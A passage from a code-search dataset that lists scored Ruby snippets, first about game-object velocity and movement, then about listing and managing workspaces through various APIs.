new input is given\n # Lower values for tighter controls\n @vel_x *= 0.50\n @vel_y *= 0.50\n end", "title": "" }, { "docid": "dd0bf040bbe35867a87acc8a606ae0bc", "score": "0.6047904", "text": "def accelLeft\n @vel_x -= @VELOCITY\n end", "title": "" }, { "docid": "6e57707b0e6172b0926ed147000c0040", "score": "0.60323906", "text": "def move\n\t\t# move 5px to the left\n\t @x = @x - 5\n\t # move up or down based on the Y velocity\n\t @y = @y + @vy\n\tend", "title": "" }, { "docid": "724dd12b98b0b7245d28db0cd9911888", "score": "0.6030101", "text": "def accelerate(x_accel, y_accel)\n @x_vel = [[@x_vel + x_accel, MAX_VELOCITY].min, -MAX_VELOCITY].max\n @y_vel = [[@y_vel + y_accel, MAX_VELOCITY].min, -MAX_VELOCITY].max\n end", "title": "" }, { "docid": "ffa643a2d6d3db0683c2cbe7ab732625", "score": "0.60200256", "text": "def tdd_fme_update_move\n @x = $game_map.round_x_with_direction(@x, @direction)\n @y = $game_map.round_y_with_direction(@y, @direction)\n\n @real_x += @velocity_x\n @real_y += @velocity_y\n end", "title": "" }, { "docid": "bd947b7c6bf1f3276a23ed4c04ae05e5", "score": "0.6014526", "text": "def set_shooting_velocity\n @shooting_velocity = policy_scope(ShootingVelocity).find(params[:id])\n end", "title": "" }, { "docid": "ea158d7a3d149bbb8217f34b0aa0b472", "score": "0.60058445", "text": "def velocity\n return Math.sqrt(@west_east_velocity ** 2 + @south_north_velocity ** 2)\n end", "title": "" }, { "docid": "352329836fdb0aa7c6e4ebd17a7adf57", "score": "0.60036963", "text": "def update\n\n # First up, if we're not yet aligned with the target angle, turn toward it\n if @angle != @target_angle\n\n # So, should be turning clockwise, or anti?\n gap = @target_angle - @angle\n gap -= 360 if gap > 180\n gap += 360 if gap < -180\n\n if gap.abs > @turn_speed\n @angle += gap.positive? ? @turn_speed : @turn_speed * -1\n else\n @angle += gap\n end\n\n end\n\n # Apply any current thrust\n if @thrusting.positive?\n\n # The delta modifies the vectors\n @vector_x += @angle.vector_x(@delta_v)\n @vector_y += @angle.vector_y(@delta_v)\n\n # And count the thrust down\n @thrusting -= 1\n\n end\n\n # And then add in our current vector\n @x += @vector_x\n @y += @vector_y\n\n # We keep on thrusting until we exceed our previous peak\n velocity = Math::sqrt(@vector_x ** 2 + @vector_y ** 2)\n if velocity < @target_velocity && @thrusting.zero?\n @thrusting = THRUST_DURATION\n @fired = true\n end\n @peak_velocity = velocity if velocity > @peak_velocity\n\n end", "title": "" }, { "docid": "c035480f9d125f72b42c68ed0875c902", "score": "0.59564203", "text": "def move\n #we're modifying the ship's coordinates based on the velocity calculated in the accelerate method (which is called when we hit 'Up')\n @x += @velocity_x\n @y += @velocity_y\n #we use these to slow down the speed, acting like a friction\n #calculates the rate of acceleration \n @velocity_x *= FRICTION\n @velocity_y *= FRICTION\n # we add conditionals to delimt the edge of the window\n if @x > @window.width - @radius\n @velocity_x = 0\n @x = @window.width - @radius \n end\n if @x < @radius\n @velocity_x = 0\n @x = @radius\n end\n if @y > @window.height - @radius\n @velocity_y = 0\n @y = @window.height - @radius\n end\n end", "title": "" }, { "docid": "a152a0aaa4309dc0193cfc86adf5dded", "score": "0.5939646", "text": "def move(vpoint)\n @position += vpoint\n end", "title": "" }, { "docid": "23fbe4fc7401ef1bbef3e1f5236552bc", "score": "0.5938403", "text": "def tick\n return if dead?\n @ticks += 1\n point.x += t(speed_x)\n point.y += t(speed_y)\n @rotation += t(angular_velocity)\n @opacity += t(opacity_delta)\n end", "title": "" }, { "docid": "a6f3db7864848ea7ad6d088ef42df3e1", "score": "0.5931133", "text": "def move(delta)\n new_x = self.location.x + (self.vel.x * delta)\n new_y = self.location.y + (self.vel.y * delta)\n new_point = Point.new(new_x, new_y)\n self.with_location(new_point)\n end", "title": "" }, { "docid": "ce2d86fd01e95f259bf7d227b252314c", "score": "0.5892327", "text": "def delta_velocity\n return self.final_velocity - self.initial_velocity\n end", "title": "" }, { "docid": "6badf40710802ba1d54da046bf6ff3ff", "score": "0.58687085", "text": "def set_velocity action = :increment\n if action == :increment and @velocity <= 3\n @velocity += 1\n\n elsif action == :decrement and @velocity > 1\n @velocity -= 1\n end\n end", "title": "" }, { "docid": "5abdb7abe97ae5561a62caa29089f696", "score": "0.58607394", "text": "def vx=(n)\n @view__.velocity = @view__.velocity.tap {|v| v.x = n}\n n\n end", "title": "" }, { "docid": "dfaa2f2a61ba3965075cf8c35288d644", "score": "0.5854766", "text": "def increase_velocity_by *args\n opts = {}\n opts = args.last if (args.last.is_a? Hash)\n quick_turn_around = @velocity_quick_turn_around\n quick_turn_around = opts[:quick_turn_around] unless (opts[:quick_turn_around].nil?)\n incremental_velocity = parse_position *args\n @velocity.keys.each do |axis|\n next unless (incremental_velocity.key? axis)\n velocity_sign = @velocity[axis].sign\n incremental_velocity_sign = incremental_velocity[axis].sign\n @velocity[axis] = 0 unless (velocity_sign == incremental_velocity_sign) if (quick_turn_around && !opts[:no_quick_turn_around])\n @velocity[axis] = @base_velocity[axis] * incremental_velocity_sign if (@velocity[axis] == 0)\n @velocity[axis] += incremental_velocity[axis]\n case velocity_sign\n when 1\n @velocity[axis] = get_max_velocity(axis) if (@velocity[axis] > get_max_velocity(axis))\n when -1\n @velocity[axis] = -get_max_velocity(axis) if (@velocity[axis] < -get_max_velocity(axis))\n end\n @has_increased_velocity_for[axis] = true\n end\n end", "title": "" }, { "docid": "159f6eb4fb7b485428a6d53e69fae0c2", "score": "0.5854456", "text": "def chooseVelocity\n # Are we waiting in the queue to enter the lane proper? If so, we\n # will ignore the normal rules.\n return if inQueue\n\n # If we aren't fixed, we shouldn't choose a velocity.\n return unless isFixed\n\n @nextSpeed = @driver.velocity(self)\n\n if @exitTo.force <= @bodyStart + @nextSpeed.fps_i\n @nextSpeed = Velocity.FPS(@exitTo.force - @bodyStart)\n end\n\n # Improvement: Add a parameter to a lane that indicates if a car can go\n # past the end safely\n if @currentLane.length < @bodyEnd\n @nextSpeed = Velocity::Zero\n end\n\n @nextSpeed\n end", "title": "" }, { "docid": "79e968a2b25071a985effc919a19e408", "score": "0.5845196", "text": "def step\n @x = @x + @vx\n @y = @y + @vy\n self\n end", "title": "" }, { "docid": "ddaae1248a9f7f0f484978526265914b", "score": "0.57927394", "text": "def planned_velocity\n return compute_velocity(planned) {|view| view.total_cost}\n end", "title": "" }, { "docid": "02c4c0da44e721c4595947154e2d1400", "score": "0.5792446", "text": "def update(point)\n\t\t# move relative to the initial point\n\t\t\n\t\t@destination = @start + movement_delta(point)\n\tend", "title": "" }, { "docid": "c9bbd94ddde4ceddb83cca6e75047072", "score": "0.57767373", "text": "def vy=(n)\n @view__.velocity = @view__.velocity.tap {|v| v.y = n}\n n\n end", "title": "" }, { "docid": "2461de61b8a2ca78ccfd1fd2f7631273", "score": "0.57718146", "text": "def move\n @speed = map1d(total_count, (5..25), (0.1..0.4))\n @speed = (0..10.0).clip speed\n @position[Y] += speed\n @position[Y] = -height if position[Y] > height * 2\n end", "title": "" }, { "docid": "b4c087150b88675fa07e969b92c131e8", "score": "0.5759559", "text": "def change_direction(axis)\n if axis == :x\n @velocity_x *= -1\n elsif axis == :y\n @velocity_y *= -1\n end \n end", "title": "" }, { "docid": "efa6a21b3befd2664292f16eeaa4b8ca", "score": "0.57569146", "text": "def move(direction)\n @x += @velocity if direction == :right\n @x -= @velocity if direction == :left\n end", "title": "" }, { "docid": "d9bf0efff25ae5cc4059766c10dc33f0", "score": "0.573522", "text": "def update( event )\n dt = event.seconds # Time since last update\n # do nothing else for now\n update_accel\n update_vel( dt )\n update_pos( dt )\n end", "title": "" }, { "docid": "80b0d0759fb4d380f475c099a153373e", "score": "0.57174444", "text": "def changed_velocity\n return compute_velocity(changed) {|view| changed_net_cost}\n end", "title": "" }, { "docid": "31680b5646ddefac00a21572666fd58a", "score": "0.5659475", "text": "def accelerate(time) \n @velocity += time * @acceleration;\n @velocity = @max_speed if @velocity > @max_speed\n end", "title": "" }, { "docid": "cea19cc24ee880c58cc23dbebc557ba6", "score": "0.5642923", "text": "def accelerate\n self.current_speed += 1 \n end", "title": "" }, { "docid": "689f96076e262272cbab8872c64f1ee2", "score": "0.561514", "text": "def cur_vector\n MSPhysics::Newton::CurvySlider.get_cur_vector(@address)\n end", "title": "" }, { "docid": "689f96076e262272cbab8872c64f1ee2", "score": "0.561514", "text": "def cur_vector\n MSPhysics::Newton::CurvySlider.get_cur_vector(@address)\n end", "title": "" }, { "docid": "4babee9a3f54a5612c5229e31d18f24b", "score": "0.56032866", "text": "def update_position\n end", "title": "" }, { "docid": "4babee9a3f54a5612c5229e31d18f24b", "score": "0.56032866", "text": "def update_position\n end", "title": "" }, { "docid": "4babee9a3f54a5612c5229e31d18f24b", "score": "0.56032866", "text": "def update_position\n end", "title": "" }, { "docid": "395d2899b53b8df0f81a1fd56def9b89", "score": "0.5601592", "text": "def standard_move\n pos.set(x,y)\n tar = move_towards_player\n sep = seperate_from_enemies\n sep.scalar(5.5, '*')\n tar.scalar(4.0, '*')\n apply_force(sep)\n apply_force(tar)\n if acc.x == 0 and acc.y == 0\n return\n else\n vel.add(acc)\n vel.limit(speed)\n end\n pos.add(vel)\n @x = pos.x\n @y = pos.y\n acc.scalar(0, '*')\n end", "title": "" }, { "docid": "adca350852794984f3846c368ea21f08", "score": "0.5599464", "text": "def move\r\n @x += @velx\r\n @y += @vely\r\n\r\n #To introduce friction to the player so that it can slow down\r\n @velx *= FRICTION\r\n @vely *= FRICTION\r\n\r\n #To stop the player from moving out of the left of the window\r\n if @x > @window.width - @radius\r\n @velx = 0\r\n @x = @window.width - @radius\r\n end\r\n\r\n #To stop the player from moving out of the right of the window\r\n if @x < @radius\r\n @velx = 0\r\n @x = @radius\r\n end\r\n\r\n #To stop the player from moving out of the bottom of the window\r\n if @y > @window.height - @radius\r\n @vely = 0\r\n @y = @window.height - @radius\r\n end\r\n end", "title": "" }, { "docid": "0980f689661524f855491229a91de330", "score": "0.55666715", "text": "def apply_force(force:)\n f = force / @mass\n @acceleration += f\n end", "title": "" }, { "docid": "0980f689661524f855491229a91de330", "score": "0.55666715", "text": "def apply_force(force:)\n f = force / @mass\n @acceleration += f\n end", "title": "" }, { "docid": "0980f689661524f855491229a91de330", "score": "0.55666715", "text": "def apply_force(force:)\n f = force / @mass\n @acceleration += f\n end", "title": "" }, { "docid": "9e4da0ca1e59b281018904896a5ddb20", "score": "0.55621004", "text": "def max_angular_velocity; end", "title": "" }, { "docid": "6c9ecaf5c1cfde582bfce820c3fca370", "score": "0.55452555", "text": "def decrease_velocity\n return unless (any_velocity?)\n @velocity.keys.each do |axis|\n next if (@velocity[axis] == 0 || @has_increased_velocity_for[axis])\n case @velocity[axis].sign\n when 1\n @velocity[axis] -= @velocity_decay[axis] * @velocity_deltatime.dt\n @velocity[axis] = 0 if (@velocity[axis] < 0)\n when -1\n @velocity[axis] += @velocity_decay[axis] * @velocity_deltatime.dt\n @velocity[axis] = 0 if (@velocity[axis] > 0)\n end\n end\n end", "title": "" }, { "docid": "6364e2972584d4c2ab00ba1eed03ae78", "score": "0.55360115", "text": "def move!\n\t\tbounce! until !will_bounce? #TODO add surroundedness checking\n\t\t@x += @@target_coords[@direction][:dx]\n\t\t@y += @@target_coords[@direction][:dy]\n\tend", "title": "" }, { "docid": "0817c6102990a035c275838b6d666465", "score": "0.5522031", "text": "def move\n self.speed += random_vector(0.5)\n self.position.x -= window.current_speed/4\n bounce_off_border_y\n on_hitting_x { destroy!; return }\n end", "title": "" }, { "docid": "ed2f82ea02393c71085cb9d5d0818e06", "score": "0.5515763", "text": "def escape_velocity\n return Math.sqrt( 2.0 * self.gravitational_parameter / self.radius )\n end", "title": "" }, { "docid": "8e0d4e7596f9a26e846c81903fe0e36f", "score": "0.54905576", "text": "def move\n if @x + @x_vel < 0\n net_move = (-2 * @x) - @x_vel\n @x += net_move\n @truex += net_move\n @x_vel = -@x_vel\n elsif @x + @x_vel > (1280 - @w)\n net_move = (2 * (1280 - @w - @x)) - @x_vel \n @x += net_move\n @truex += net_move\n @x_vel = -@x_vel\n else\n @truex += @x_vel\n @x += @x_vel\n end\n\n if @y + @y_vel < 0\n net_move = (-2 * @y) - @y_vel\n @y += net_move\n @truey += net_move\n @y_vel = -@y_vel\n elsif @y + @y_vel > (720 - @h)\n net_move = (2 * (720 - @h - @y)) - @y_vel \n @y += net_move\n @truey += net_move\n @y_vel = -@y_vel\n else\n @truey += @y_vel\n @y += @y_vel\n end\n end", "title": "" }, { "docid": "57ede3c106971b3789b169cf9a83c476", "score": "0.54848146", "text": "def accelerate\n @shape.body.apply_force((@shape.body.a.radians_to_vec2 * (20000.0)), CP::Vec2.new(0.0, 0.0))\n end", "title": "" }, { "docid": "86bd8a996e03ef991538fc26e136165b", "score": "0.54733485", "text": "def apply\n\t\t@entity[:physics].body.p = @destination\n\tend", "title": "" }, { "docid": "db192bc0b7c148c705b8468b8f6a0fe3", "score": "0.5469013", "text": "def calc_player\n\n # Since acceleration is the change in velocity, the change in y (dy) increases every frame.\n # What goes up must come down because of gravity.\n state.dy += state.gravity\n\n # Calls the calc_box_collision and calc_edge_collision methods.\n calc_box_collision\n calc_edge_collision\n\n # Since velocity is the change in position, the change in y increases by dy. Same with x and dx.\n state.y += state.dy\n state.x += state.dx\n\n # Scales dx down.\n state.dx *= 0.8\n end", "title": "" }, { "docid": "d69179ddbebc94af3cab6f70d004d045", "score": "0.5461508", "text": "def spped number\n @velocity +=number\n puts \"You accelerator to #{@velocity}\"\n end", "title": "" } ]
3ceaad89d2617e1633ba6f63954a9fb3
= Workspaces List of available workspaces
[ { "docid": "35b8523f5b3feb3c43880125b097aa54", "score": "0.735516", "text": "def get_workspaces &block\n response = self.search :workspaces => nil\n doc = Nokogiri::XML(response)\n workspaces = doc.xpath(Workspace.root_xpath).collect{|w| w.text.to_s }\n list Workspace, workspaces, {}, &block\n end", "title": "" } ]
[ { "docid": "eea9920a3bbca777207ba6e47aed499e", "score": "0.7693752", "text": "def workspaces(workspace_namespace=PORTAL_NAMESPACE)\n path = self.api_root + '/api/workspaces'\n workspaces = process_firecloud_request(:get, path)\n workspaces.keep_if {|ws| ws['workspace']['namespace'] == workspace_namespace}\n end", "title": "" }, { "docid": "2c5bb9a44aa2bec03afc70a8766e0e76", "score": "0.71650535", "text": "def list_workspaces()\n # check and reauthenticate\n self.isTokenExpired()\n\n results = []\n url = @api_url + \"/api/workspaces\"\n headers = {:accept => :json, :authorization => \"bearer #{@access_token}\"}\n\n RestClient.proxy = @proxy\n\n begin\n r = RestClient.get url, headers\n rescue RestClient::ExceptionWithResponse => e\n puts e.response\n end\n\n workspaces = JSON.parse(r.body)['data']\n #release_count = JSON.parse(r.body)['TotalResults']\n\n #puts \"workspaces dump is #{JSON.pretty_generate(workspaces)}\\nworkspace count is #{release_count}\"\n\n workspaces.each do |workspace|\n results.push(workspace)\n end\n return results\n end", "title": "" }, { "docid": "faf4faa1da7fe589a4aeb9490ad0b83c", "score": "0.6823609", "text": "def workspace_list(parameters = {}, invocation_options = {})\n exec(RubyTerraform::Commands::WorkspaceList,\n parameters, invocation_options)\n end", "title": "" }, { "docid": "5b3416742c4b6906ee41131818187823", "score": "0.65332067", "text": "def get_all_workspaces ()\n @all_workspaces = @rallysub.Workspaces\n print \"Subscription contains <#{@all_workspaces.count}> Workspaces.\\n\"\n @all_workspaces.sort {|v1,v2| v1.Name <=> v2.Name}\nend", "title": "" }, { "docid": "4f44c255a02b17a08f12cfac06a8069f", "score": "0.63458157", "text": "def get_wms_stores workspace = nil\n ws = workspace.nil?? get_workspaces : [get_workspace(workspace)]\n cs = []\n ws.each{ |w| cs += w.wms_stores if w.wms_stores }\n cs\n end", "title": "" }, { "docid": "9fdaa22e2f8c759116bd84715cbe3fb0", "score": "0.63154155", "text": "def rpc_workspaces\n db_check\n\n res = {}\n res[:workspaces] = []\n self.framework.db.workspaces.each do |j|\n ws = {}\n ws[:id] = j.id\n ws[:name] = j.name\n ws[:created_at] = j.created_at.to_i\n ws[:updated_at] = j.updated_at.to_i\n res[:workspaces] << ws\n end\n res\n end", "title": "" }, { "docid": "1c2f256670fcd3b07809a1a10a3ad672", "score": "0.624932", "text": "def keyspaces\n @keyspaces.values\n end", "title": "" }, { "docid": "22106e5bd39b63e5a3ee9d4b4361a856", "score": "0.61543167", "text": "def workspace\n @cue_list.workspace\n end", "title": "" }, { "docid": "f217ea0e8fcea6a9c7d0e0b65c1c2a25", "score": "0.61322093", "text": "def index\n @workspaces = current_api_user.workspaces.all\n end", "title": "" }, { "docid": "1fcb211744ea2359aaf7e954a9f71dc1", "score": "0.6122129", "text": "def rpc_get_workspace(wspace)\n db_check\n wspace = find_workspace(wspace)\n ret = {}\n ret[:workspace] = []\n if wspace\n w = {}\n w[:name] = wspace.name\n w[:id] = wspace.id\n w[:created_at] = wspace.created_at.to_i\n w[:updated_at] = wspace.updated_at.to_i\n ret[:workspace] << w\n end\n ret\n end", "title": "" }, { "docid": "bbd59ebbf47aeb746ccae5f443cc45c9", "score": "0.6112164", "text": "def workspaces(params)\n params[:status] = 'all' if params[:status].blank?\n\n job_applications_id = self.job_applications.collect &:id\n job_orders_id = JobOrder.any_in(job_application_id: job_applications_id).collect &:id\n\n services_id = self.services.collect &:id\n service_orders_id = ServiceOrder.any_in(service_id: services_id).collect &:id\n\n package_orders_id = PackageOrder.where(freelancer: self).collect &:id\n\n case params[:status]\n when \"all\"\n job_workspace = JobWorkspace.any_in(job_order_id: job_orders_id)\n service_workspace = ServiceWorkspace.any_in(service_order_id: service_orders_id)\n package_workspace = PackageWorkspace.any_in(package_order_id: package_orders_id)\n when \"on_progress\"\n job_workspace = JobWorkspace.any_in(job_order_id: job_orders_id).where( :\"events._type\" => {\"$nin\" => [\"AdminCanceledEvent\", \"AdminRefundedEvent\", \"EmployerClosedJobEvent\", \"AdminReleasedPayoutEvent\", \"FreelancerRequestedPayoutEvent\"]} )\n service_workspace = ServiceWorkspace.any_in(service_order_id: service_orders_id).any_in(service_order_id: service_orders_id).where( :\"events._type\" => {\"$nin\" => [\"AdminCanceledEvent\", \"AdminRefundedEvent\", \"EmployerClosedJobEvent\", \"AdminReleasedPayoutEvent\", \"FreelancerRequestedPayoutEvent\"]})\n package_workspace = PackageWorkspace.any_in(package_order_id: package_orders_id).where( :\"events._type\" => {\"$nin\" => [\"AdminCanceledEvent\", \"AdminRefundedEvent\", \"EmployerClosedJobEvent\", \"AdminReleasedPayoutEvent\", \"FreelancerRequestedPayoutEvent\"]})\n when \"completed\"\n job_workspace = JobWorkspace.any_in(job_order_id: job_orders_id).where( :\"events._type\" => { \"$in\" => [\"EmployerClosedJobEvent\", \"AdminReleasedPayoutEvent\"] } )\n service_workspace = ServiceWorkspace.any_in(service_order_id: service_orders_id).where( :\"events._type\" => { \"$in\" => [\"EmployerClosedJobEvent\", \"AdminReleasedPayoutEvent\"] } )\n package_workspace = PackageWorkspace.any_in(package_order_id: package_orders_id).where( :\"events._type\" => { \"$in\" => [\"EmployerClosedPackageEvent\", \"AdminReleasedPayoutEvent\"] } )\n\n when \"cancelled\"\n job_workspace = JobWorkspace.any_in(job_order_id: job_orders_id).where(:\"events._type\" => \"AdminCanceledEvent\")\n service_workspace = ServiceWorkspace.any_in(service_order_id: service_orders_id).where(:\"events._type\" => \"AdminCanceledEvent\")\n package_workspace = PackageWorkspace.any_in(package_order_id: package_orders_id).where(:\"events._type\" => \"AdminCanceledEvent\")\n\n when \"refunded\"\n job_workspace = JobWorkspace.any_in(job_order_id: job_orders_id).where(:\"events._type\" => \"AdminRefundedEvent\")\n service_workspace = ServiceWorkspace.any_in(service_order_id: service_orders_id).where(:\"events._type\" => \"AdminRefundedEvent\")\n package_workspace = PackageWorkspace.any_in(package_order_id: package_orders_id).where(:\"events._type\" => \"AdminRefundedEvent\")\n end\n\n if params[:username].present?\n job_workspace = job_workspace.where(employer_username: /#{Regexp.escape(params[:username])}/i)\n service_workspace = service_workspace.where(employer_username: /#{Regexp.escape(params[:username])}/i)\n package_workspace = package_workspace.where(employer_username: /#{Regexp.escape(params[:username])}/i)\n end\n\n job_workspace + service_workspace + package_workspace\n end", "title": "" }, { "docid": "24a6f73e5f1a118d6f794e977aafe182", "score": "0.60368747", "text": "def index\n @user_workspaces = UserWorkspace.owned_by(current_user)\n end", "title": "" }, { "docid": "a73c4261b7284165999e203caeb985fb", "score": "0.6016186", "text": "def workspace_folders\n attributes.fetch(:workspaceFolders)\n end", "title": "" }, { "docid": "3ae7223e9e6c17e02537b8de436391e1", "score": "0.5891612", "text": "def keyspace_names\n @keyspaces.keys\n end", "title": "" }, { "docid": "d8f4c011ccd6aa12200f4a142405024e", "score": "0.5853332", "text": "def namespaces_list(trace: false, &block)\n r = dropbox_query(query: '2/team/namespaces/list', trace: trace)\n r['namespaces'].each(&block)\n while r != nil && r['has_more']\n r = dropbox_query(query: '2/team/namespaces/list/continue', query_data: \"{\\\"cursor\\\":\\\"#{r['cursor']}\\\"}\", trace: trace)\n next unless r != nil\n\n r['namespaces'].each(&block)\n end\n end", "title": "" }, { "docid": "cc50237973eb1480ce5af3a8995b0ce3", "score": "0.58473253", "text": "def get_data_stores workspace = nil\n ws = workspace.nil?? get_workspaces : [get_workspace(workspace)]\n ds = []\n ws.each{ |w| ds += w.data_stores if w.data_stores }\n ds\n end", "title": "" }, { "docid": "8e3ddbeded2d6eaeeef3c1f9ac8025c1", "score": "0.5846192", "text": "def keyspaces\n @@connections.keys\n end", "title": "" }, { "docid": "8e3ddbeded2d6eaeeef3c1f9ac8025c1", "score": "0.5846192", "text": "def keyspaces\n @@connections.keys\n end", "title": "" }, { "docid": "78628b9c8c13ba94b64266454370eb88", "score": "0.5844636", "text": "def available_servers\n authenticate_user!\n @rackspace_servers = Server.rackspace_servers\n end", "title": "" }, { "docid": "23de9ae7ff08a744101f41aa34b87dce", "score": "0.57920814", "text": "def get_workspace_projects(wid, active=true)\n get \"/workspaces/#{wid}/projects\", {:active => active}\n end", "title": "" }, { "docid": "224e028a97dcef2c22269c77d8c66d6a", "score": "0.5788346", "text": "def spaces\n workflows = WorkflowSeries.accessible_by(@context).\n eager_load(latest_revision_workflow: [user: :org]).\n where.not(scope: [SCOPE_PUBLIC, SCOPE_PRIVATE]).\n unremoved.includes(:taggings).\n map do |series|\n series_wf = series.latest_accessible(@context)\n if series_wf.in_space? && Workflows::WorkflowFilter.\n match(series_wf, params[:filters])\n series_wf\n end\n end.compact\n\n render_workflows_list workflows\n end", "title": "" }, { "docid": "476d98ad07adf5bb0413a565ebec1eca", "score": "0.5714335", "text": "def links_to_workspace_collection(workspaces)\n return nil if workspaces.empty?\n workspaces.collect { |ws| link_to_workspace(ws) }.join(', ')\n end", "title": "" }, { "docid": "9bbc300f1d0dc434dbc97a9e028c8c4b", "score": "0.5712928", "text": "def test_workspaces\n workspaces = @fire_cloud_client.workspaces(@fire_cloud_client.project)\n assert workspaces.any?, 'Did not find any workspaces'\n end", "title": "" }, { "docid": "68d43147bb6a5372213bf75a7024db49", "score": "0.5687324", "text": "def to_s\n '#<Twilio.Taskrouter.V1.WorkspaceList>'\n end", "title": "" }, { "docid": "7e1ea5fe166aa1f083f2c7d9d0f90a2a", "score": "0.5666261", "text": "def tasks(wspace=workspace)\n\t\twspace.tasks\n\tend", "title": "" }, { "docid": "3825cd2b241ae00d6b5f11d9645dbdec", "score": "0.5629023", "text": "def workspaces_json\n params.permit(:include_historical)\n params.permit(:time_now)\n include_historical = params.fetch(:include_historical, false)\n time_now = time_now_or_param(params[:time_now])\n query_options = include_historical ? {} : { created_after: SchoolYear.first_day_of_school_for_time(time_now) }\n workspaces = queries.all_authorized_workspaces(query_options)\n\n workspaces_json = workspaces.map do |workspace|\n {\n workspace_id: workspace.workspace_id,\n revisions_count: workspace.revisions_count,\n class_list: workspace.class_list.as_json({\n only: [\n :id,\n :workspace_id,\n :grade_level_next_year,\n :list_type_text,\n :created_at,\n :updated_at,\n :submitted\n ],\n include: {\n created_by_teacher_educator: {\n only: [:id, :email, :full_name]\n },\n revised_by_principal_educator: {\n only: [:id, :email, :full_name]\n },\n school: {\n only: [:id, :local_id, :name]\n }\n }\n })\n }\n end\n\n render json: {\n include_historical: include_historical,\n workspaces: workspaces_json\n }\n end", "title": "" }, { "docid": "dd2032a06e79470da281a06fe30254eb", "score": "0.55831337", "text": "def projects\n result = []\n load_attributes\n @attributes['projects'].each do |project|\n result << project['name']\n end\n puts \"Workspace projects #{result}\"\n result\n end", "title": "" }, { "docid": "2fd53be11d4610eb9e739fa292398942", "score": "0.5577472", "text": "def list\n current_workspace = framework.db.workspace.name\n project_list.each do |p|\n if current_workspace == p\n print_line(\"%red* #{p}%clr\")\n else\n print_line(\" #{p}\")\n end\n end\n return true\n end", "title": "" }, { "docid": "15d7204f9da94f4b8b4e452df954117e", "score": "0.5567512", "text": "def spaces\n jobs = Job.where.not(scope: [SCOPE_PUBLIC, SCOPE_PRIVATE]).\n accessible_by_user(@context.user).\n eager_load(:app, user: :org, analysis: :workflow).\n includes(:taggings).\n search_by_tags(params.dig(:filters, :tags)).\n order(order_from_params)\n\n jobs = JobService::JobsFilter.call(jobs, params[:filters])\n\n render_jobs_list(jobs)\n rescue StandardError => e\n raise ApiError, Message.bad_request(e.message)\n end", "title": "" }, { "docid": "b2fd4523f159205011604e023a7e7a3c", "score": "0.55624783", "text": "def workspace\n\t\tself.datastore['WORKSPACE'] ||\n\t\t\t(framework.db and framework.db.active and framework.db.workspace and framework.db.workspace.name)\n\tend", "title": "" }, { "docid": "07d528507a6bd34c6c9a7f4ab4fc5c10", "score": "0.5561616", "text": "def workforce_integrations\n return @workforce_integrations\n end", "title": "" }, { "docid": "e3d2b2d03dbaffa42d00848c83c04d2f", "score": "0.5558284", "text": "def workspace(workspace_name)\n client.workspaces.find_all.find do |workspace|\n workspace.name == workspace_name\n end\n end", "title": "" }, { "docid": "0b4d70164e2ca5919ef00153f0913da6", "score": "0.55557585", "text": "def project_list\n project_folders = Dir::entries(::File.join(Msf::Config.log_directory, 'projects'))\n projects = []\n framework.db.workspaces.each do |s|\n if project_folders.include?(s.name)\n projects << s.name\n end\n end\n return projects\n end", "title": "" }, { "docid": "6b689f9831029884746abfd25363f344", "score": "0.5527603", "text": "def list_verbose\n current_workspace = framework.db.workspace.name\n col_names = %w{current name hosts services vulns creds loots notes}\n\n tbl = Rex::Text::Table.new(\n 'Header' => 'Projects',\n 'Columns' => col_names,\n 'SortIndex' => -1\n )\n\n # List workspaces\n framework.db.workspaces.each do |ws|\n if project_list.include?(ws.name)\n tbl << [\n ws == current_workspace ? ' * ' : '',\n ws.name,\n ws.hosts.count,\n ws.services.count,\n ws.vulns.count,\n ws.core_credentials.count,\n ws.loots.count,\n ws.notes.count\n ]\n end\n end\n\n print_line\n print_line(tbl.to_s)\n return true\n end", "title": "" }, { "docid": "2bd5dd3b281a76976126821cb5a0301f", "score": "0.550737", "text": "def loots(wspace=workspace)\n\t\twspace.loots\n\tend", "title": "" }, { "docid": "34e96e1d0068a021388266c6e10235fc", "score": "0.54760987", "text": "def list_spaces(opts = {})\n data, _status_code, _headers = list_spaces_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "ccb8058e41988d356bd3b1f443022557", "score": "0.5456189", "text": "def workspaces(params)\n params[:status] = 'all' if params[:status].blank?\n params[:type] = 'all' if params[:type].blank?\n\n service_orders_id = ServiceOrder.any_in(employer_id: self.id).collect &:id\n jobs_id = self.jobs.unscoped.collect &:id\n job_orders_id = JobOrder.any_in(job_id: jobs_id).collect &:id\n package_orders_id = PackageOrder.where(employer: self).collect &:id\n tasks_id = self.tasks.unscoped.collect &:id\n task_orders_id = TaskOrder.any_in(task_id: tasks_id).collect &:id\n\n if params[:job].present?\n job_orders_id = JobOrder.any_in(job_id: params[:job]).collect &:id\n params[:type] = \"job\"\n elsif params[:task].present?\n task_orders_id = TaskOrder.any_in(task_id: params[:task]).collect &:id\n params[:type] = \"task\"\n elsif params[:service].present?\n service_orders_id = params[:service]\n params[:type] = \"service\"\n elsif params[:job_applicant].present?\n job_orders_id = JobOrder.where(job_application_id: params[:job_applicant]).collect &:id\n params[:type] = \"job\" \n elsif params[:task_applicant].present?\n task_orders_id = TaskOrder.where(task_application_id: params[:task_applicant]).collect &:id\n params[:type] = \"task\" \n end\n\n\n case params[:status]\n when \"all\"\n job_workspace = JobWorkspace.any_in(job_order_id: job_orders_id)\n service_workspace = ServiceWorkspace.any_in(service_order_id: service_orders_id) \n task_workspace = TaskWorkspace.any_in(task_order_id: task_orders_id)\n package_workspace = PackageWorkspace.any_in(package_order_id: package_orders_id)\n\n when \"on_progress\"\n job_workspace = JobWorkspace.any_in(job_order_id: job_orders_id).where( :\"events._type\" => {\"$nin\" => [\"AdminCanceledEvent\", \"AdminRefundedEvent\", \"EmployerClosedJobEvent\", \"AdminReleasedPayoutEvent\", \"FreelancerRequestedPayoutEvent\"]} )\n service_workspace = ServiceWorkspace.any_in(service_order_id: service_orders_id).any_in(service_order_id: service_orders_id).where( :\"events._type\" => {\"$nin\" => [\"AdminCanceledEvent\", \"AdminRefundedEvent\", \"EmployerClosedJobEvent\", \"AdminReleasedPayoutEvent\", \"FreelancerRequestedPayoutEvent\"]})\n task_workspace = TaskWorkspace.any_in(task_order_id: task_orders_id).where( :\"events._type\" => {\"$nin\" => [\"AdminCanceledEvent\", \"AdminRefundedEvent\", \"EmployerClosedJobEvent\", \"AdminReleasedPayoutEvent\", \"FreelancerRequestedPayoutEvent\"]} )\n package_workspace = PackageWorkspace.any_in(package_order_id: package_orders_id).where( :\"events._type\" => {\"$nin\" => [\"AdminCanceledEvent\", \"AdminRefundedEvent\", 